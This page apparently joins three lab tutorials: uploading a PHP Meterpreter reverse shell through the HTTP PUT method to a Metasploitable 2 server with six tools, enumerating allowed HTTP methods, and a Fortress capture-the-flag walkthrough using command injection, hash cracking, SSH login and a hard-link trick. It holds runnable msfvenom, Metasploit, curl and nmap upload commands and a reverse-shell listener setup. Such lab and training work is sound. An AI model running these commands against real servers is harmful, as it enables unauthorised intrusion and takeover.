Multiple ways to Exploiting PUT Vulnerability in Webserver

 Hi Friends, today’s article is related to exploiting the HTTP PUT method vulnerability through various techniques. First we will determine if the HTTP PUT method is enabled on the target victim machine, post which we will utilize several different methods to upload a Meterpreter reverse shell on the target and compromise the same.
Target: Metasploitable 2
Attacker: Kali Linux machine
PUT method was originally intended as one of the HTTP method used for file management operations. If the HTTP PUT method is enabled on the webserver it can be used to upload a malicious resource to the target server, such as a web shell , and execute it
As this method is used to change or delete the files from the target server’s file system , it often results in arise in various File upload vulnerabilities , leading the way for critical and dangerous attacks .As a best practice , the file access permissions of the organizations’ critical servers should be strictly limited with restricted access to authorized users, if in case the organization absolutely MUST have these methods enabled.
Note : In this tutorial we are using a Vulnerable target machine for Pentesting purposes and to illustrate the use of various tools . This is purely meant for educational purposes in the testing environment and should not be used in Production environment without the authorized permissions from the relevant authorities/management.
Let’s Begin!!!!
Boot your Kali Linux machine (IP : 192.168.1.105) and in parallel, type victim IP as 192.168.1.103 in the Firefox browser and click on WEBDAV. As we can see from the screenshot it is listing only the parent directory. 
 


First of all we need to ensure that the vulnerable target machine has the HTTP PUT method allowed for us to upload malicious backdoors.In order to confirm the same , we need to scan the target using Nikto .
Nikto is a popular Web server scanner that tests Web servers for dangerous files/CGIs, outdated server software and other issues. It also performs generic and server type specific checks.Below is the command to scan the URL:
nikto -h http://192.168.1.103/dav/
Upon running the above command , we can observe that the highlighted part in below screenshot displays that HTTP PUT method is allowed. Now let’s hack the vulnerable target machine by uploading the PHP malicious file ,using the various techniques shown in upcoming sections.




Prepare the malicious file to be uploaded with msfvenom :
Msfvenom can be used to create PHP meterpreter payload that gives us a reverse shell. Execute the following command to perform the same
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.105 lport=4444 -f raw
Copy the code from and save it in a file with .php extension as shell.php file , on the desktop .This will be utilized later in the upcoming sections , to upload the file on web server.




In parallel, load the metasploit framework by typing msfconsole on a new terminal and start multi/handler.This will be utilized in the later part of the section
Cadaver
Cadaver is a command line tool pre-installed in the Kali machine that enables the uploading and downloading of a file on webdav.
Type the target host URL to upload the malicious file , using the command given below.
cadaver http://192.168.1.103/dav/
Now once we are inside the victim’s directory, upload the file shell.php from the Desktop to the target machine’s path, by executing the below command :
put /root/Desktop/shell.php



To verify whether the file is uploaded or not, run the URL: 192.168.1.103/dav/ on the browser. Awesome!!! As we can see , the malicious file shell.php has been uploaded on the web server.


Now, let’s launch Metasploit framework and start a handler using the exploit/multi/handler module. Assign the other values like the LHOST and LPORT values to the Kali machine’s IP and port to listen on , respectively. Once done, execute by running the command exploit to start listening for the incoming connections.

msf> use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.105
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit

Press Enter and we will observe that the reverse TCP handler has been started on Kali IP 192.168.1.105:4444.
Now go back to the previously uploaded shell.php file and click on the same.Once run , we will get TCP reverse connection automatically on the meterpreter shell. Further run the sysinfo command on the meterpreter session to get machine OS / architecture details.
meterpreter>sysinfo



NMAP
Nmap is an opensource port scanner and network exploitation tool.If PUT Method is enabled on any webserver, then we can also upload malicious file to a remote web server with the help of NMAP.Below is the command to configure the same . We must specify the filename and URL path with NSE arguments .In parallel , prepare the malicious file nmap.php to upload to target server.
nmap -p 80 192.168.1.103 --script http-put --script-args http-put.url='/dav/nmap.php',http-put.file='/root/Desktop/nmap.php'
As seen from the below screenshot , nmap.php file has been uploaded successfully.




Type the same URL in browser 192.168.1.103/dav and execute the same. As evident from the screenshot , the file nmap.php has been uploaded on the web server.




Simultaneously, open metasploit MSF console and use multi/handler; then go back to previously uploaded nmap.php file and run it. As can be seen below , this will give us a meterpreter session.




Poster
Poster is a Firefox Add-on and a developer tool for interacting with web services to let the end user trigger the HTTP requests with parameters like: GET, POST, PUT and DELETE and also enables to set the entity body, and content type
Prepare the malicious file poster.php that you would like to upload to the target machine. Install the Poster plug-in from Firefox Add-on. Click on the tools from the menu bar. And then click on Poster from the dropdown menu. A following dialog box will open. Type the URL as mentioned in the screenshot and provide the path of the malicious file to be uploaded via Browse option and finally click on PUT action.




Type the same URL in browser 192.168.1.103/dav and execute the same. As evident from the screenshot , the file poster.php has been uploaded on the web server.




Simultaneously, open metasploit MSF console and use multi/handler; then go back to previously uploaded poster.php file and run it. This will give us a meterpreter session.



Burpsuite
Burpsuite is one of the most popular proxy interception tool whose graphical interface can be effectively utilized to analyze all kind of GET and POST requests.
Configure the manual proxy settings of end users’ browser so as to intercept the GET request Browse the URL http://192.168.1.103 but don’t hit ENTER yet . In parallel , let us navigate to the Burpsuite Proxy tab and click Intercept is on option under the Intercept sub-option , to capture the request. As soon we hit ENTER in the users’ browser , we will be able to fetch the data under the intercept window.
Now right click on the same window and a list of multiple options will get displayed. Further click on Send to repeater.




In the below highlighted screenshot , we will observe two panels - left and right for the HTTP Request and HTTP Response respectively . The GET method can be observed in the HTTP request and we will now replace GET with the PUT method in order to upload the file with name burp.php comprising of malicious content/code.
Type PUT /dav/burp.php HTTP/1.1 in the header and then paste the php malicious code starting from



Verify and confirm the file upload by browsing the same URL 192.168.1.103/dav in the end users’ browser and we can see burp.php file has been uploaded in the /dav directory of the web server.



Simultaneously, open metasploit MSF console and use multi/handler; then go back to previously uploaded burp.php file and run it. This will give us a meterpreter session.



Metasploit
Metasploit Framework is a well known platform for developing, testing, and executing exploits. It is an open source tool for performing various exploits against the target machines. This module can abuse misconfigured web servers to upload and delete web content via PUT and DELETE HTTP requests. Set ACTION to either PUT or DELETE. PUT is the default.
Metasploit has in-built auxiliary modules dedicated to scan HTTP methods and gives us the ability to PUT a file with auxiliary/scanner/http/http_put.Below are the commands to accomplish same
msf> use auxiliary/scanner/http/http_put
msf>auxiliary (http_put) > set rhosts 192.168.1.103
msf>auxiliary (http_put) > set payload php/meterpreter/reverse_tcp
msf>auxiliary (http_put) > set path /dav/
msf>auxiliary (http_put) > set filename meter.php
msf>auxiliary (http_put) > set filedata file://root/Desktop/meter.php
msf>auxiliary (http_put) > exploit



Type the same URL in browser 192.168.1.103/dav and execute the same. As evident from the screenshot , the file meter.php has been uploaded on the web server.




Simultaneously, open metasploit MSF console and use multi/handler; then go back to previously uploaded meter.php file and run it. This will give us a meterpreter session.



 cURL
cURL is a well-known command line tool to send or receive the data using the URL syntax and is compatible with various well-known protocols (HTTPS, FTP, SCP, LDAP, Telnet etc.)
To exploit PUT method with cURL, the command is:
curl http://192.168.1.103/dav/ --upload-file /root/Desktop/curl.php -v



Type the same URL in browser 192.168.1.103/dav and execute the same. As evident from the screenshot , the file curl.php has been uploaded on the web server.







Simultaneously, open metasploit MSF console and use multi/handler; then go back to previously uploaded curl.php file and run it. This will give us a meterpreter session.

Penetration Testing of HTTP Protocol (Verb Tempering)

You all are very much aware of HTTP protocol and its services. HTTP is considered to authorize intermediate network elements to develop communications between clients and servers. HTTP is an application layer protocol designed within the framework of the Internet protocol suite.

List of Valid HTTP request Methods

GET: It is basically a method used for just receiving some data from the server or specific resource. This method requests are used only to read data and not for alteration and also may return cached data, the requests remain in the browser history.

Post: This method make request to send data to the server or resource. Its requests cannot be bookmarked more over requests have no limitations on data length. The parameters are not saved in browser history

Head: The HEAD method is used to query only for information about a document, not for the document itself. HEAD is much faster than GET, as a much smaller amount of data is transferred.

Put: PUT involves to upload a file or completely replace whatever is available at the given URL with the client defined URL. Attacker took advantage of this method.

Delete: Through delete action a client or attacker get chance to remove file from server or can lead cascade and rollback of several transactions or message which can interrupt the communication.

Connect: Establishes a tunnel to provide secure connection and communication between client and server for examples HTTP proxy and SSL encryptions.

Options: The OPTIONS returns the HTTP methods that the server supports for the specified URL. It is used to describe the communication options for the target resource.

Trace: This method simply come back to the client whatever string has been sent to the server, and is used mainly for debugging purposes.

In this article we are going to perform http verb tampering and try to find out which method is allowed in host server.

LETS START!!!!
Boot up your kali Linux and turn on terminal to identify the running verbs in host IP. I will perform same task with different techniques.


Metasploit

 Now Type msfconsole on terminal to load metasploit framework and use following module to identify supported options.

This module use to Display available HTTP options for each system.
msf > use auxiliary/scanner/http/options
msf auxiliary(options) >set rhosts 192.168.1.43
msf auxiliary(options) >set rport 80
msf auxiliary(options) >exploit


Look over highlighted part in screenshot that is showing which methods are allowed under HTTP (GET HEAD POST OPTIONS TRACE).


Curl

Through you can identify the running services on target IP. Type following command to make curl run.
Curl –v –X OPTIONS 192.168.1.43

From screenshot it is confirm that curl is working properly by dumping same result as above. The highlighted part is showing which methods are allowed under HTTP (GET HEAD POST OPTIONS TRACE).


NIKTO

It another tool to perform same function and try to analysis allowed method for HTTP. Execute the following command on terminal once again to scan target IP.

Nikto –h 192.168.1.43

Pretty good!!!  Now perceive towards screenshot the result is exactly same as above HTTP (GET HEAD POST OPTIONS TRACE).


Nmap

Nmap script finds out what options are supported by an HTTP server by sending an OPTIONS request.

Nmap –script http-methods –script-args http-method.test-all=’/192.168.1.43’ 192.168.1.43

Superb!!!  Not only it dumps the allowed method under HTTP (GET HEAD POST OPTIONS TRACE CONNECT) but also shown the potentially risky methods i.e. TRACE and CONNECT.


Netcat

Try to connect with victim through netcat this will also demonstrate the victim and inform about the allowed methods.

Nc 192.168.1.43 80

Hence result from all six techniques is around same we have got that (GET HEAD POST OPTIONS TRACE) are some verb allow by HTTP.

Hack the Fortress VM (CTF Challenge)


Hello friends today we are going to solve another CTF challenge “FORTRESS” of the vulnhub labs. The level of this challenge is not so tough and its difficulty level is described as medium. Solving this lab will give you a good experience of web penetration testing.
You can download it from here: https://www.vulnhub.com/entry/dc416-2016,168/
Penetrating Methodology
§  Network Scanning (Nmap, netdiscover)
§  Abusing HTTP service (Burp-suite)
§  Generating Dictionary (crunch)
§  Cracking Hash (john the ripper)
§  SSH login
§  Capture the 2nd flag and 3rd flag
                                                                         
Let’s Begin!!
Start with netdiscover command to identify target IP in the local network, in my network 192.168.1.109 is my target IP, you will get yours.

netdiscover



Further let’s enumerate open ports and protocols information of the target’s network with help of nmap following command:
nmap -p- -A 192.168.0.109
As shown port 22, 80, 443 are open, let’s penetrate more.


     So we explore target IP in the web browser and welcomed by following image.



After making lots of efforts I decided to use dirbuster for directory brute-force. Type dirbuster on terminal and automatically OWASP dirbuster window gets open. Here browse your dictionary from /usr/share/dirbuster/wordlists and choose your appropriate wordlist as I select medium.txt, do not forget to address target URL in top of text field as: http//192.168.0.109 and finally hit start button.




   Luckily!!! I found something which is scanner.php file.


So when I explored scanner.php in the web browser, it put-up the following web page in front of us.  So when I trigger the localhost IP we got result of Nmap scan which you can perceive from below image. I also tried to breach it through some kind of command injection but hard luck! all seems to be waste here.




Then I decide to capture the HTTP request in burp suite and send the intercepted request into repeater

Look over given below image here you will find two panel left and right for request and response respectively.

Type ls as request and click on go tab. This will generate response to request you made.
Request: ls
Response: index.html
k1ngd0m_k3yz
logo.png
s1kr3t
scanner.php
styles.css



So among 4 directories enumerated above, we ran ls command again to check the list of /s1kr3t and found flag.txt as response.

Request: ls
Response: flag.txt


Now repeat the process till last step of making request and getting response through repeater. With help of cat command we found 1st flag.
 Request: cat flag.txt
Response: FLAG{n0_one_br3aches_teh_f0rt}



Then we try to check list of k1ngd0m_k3yz and found two files inside it.
Request: ls k1ngd0m_k3yz
Response: master and passwd


So I open master file and found a single entry of /etc/passwd file for user craven along with password hash.
Request: cat k1ngd0m_k3yz/master
Let’s copy the hash password in a text file and named it hash.txt



Then I open /k1ngd0m_k3yz/passwd where I didn’t found any remarkable clue.




Then I try to open /etc/passwd file and as you can observe, inside burp response we got the passwd file and I found entry for two local users: vulnhub & craven.


Then, I try to get into /home/craven directory in order to view present list with following request.
Request: ls  /home/craven
Response: I got three files flag.txt, hint.txt and reminders.txt.




First I try to flag.txt but fail to read it, then inside hint.txt we got some hint for user password.


 Then I open reminder.txt file that gave me a list to buy.


Then with help of hint.txt and remainder.txt we have generated a dictionary using crunch. Crunch is a wordlist generator where you can specify a standard character set or a character set you specify.
crunch 10 10 -t %%%qwerty^ > dict.txt


If you remember we have already enumerated hash password for craven from inside k1ngd0m_k3yz/master. Use john the ripper to crack the password with help crunch dictionary generated above.
cd Desktop

 john --wordlist=dic.txt hash.txt

 931qwerty? is password for craven as you can perceive from the given image.



If you remember the result from nmap which shows port 22 is open now try to connect the target through SSH using above credential.
ssh craven@192.168.0.109
Yesss!! We got login successfully, now when I checked the list of current directory, I found flag.txt.
ls
cat flag.txt
Luckily found 2nd FLAG {w0uld_u_lik3_som3_b33r_with_ur_r3d_PiLL}


It was very tough to get third flag.txt but with help of following command we reached to the final flag.
cd /home
ls             
cd vulnhub
ls
cat flag.txt
./reader flag.txt
For finding 3rd flag we applied the symlink process and successfully grabbed the last flag also.
cd /tmp
ln /home/vulnhub/flag.txt raj
cd /home/vulnhub
./reader /tmp/raj
Finally I found 3rd FLAG{its_A_ph0t0_ph1ni5h}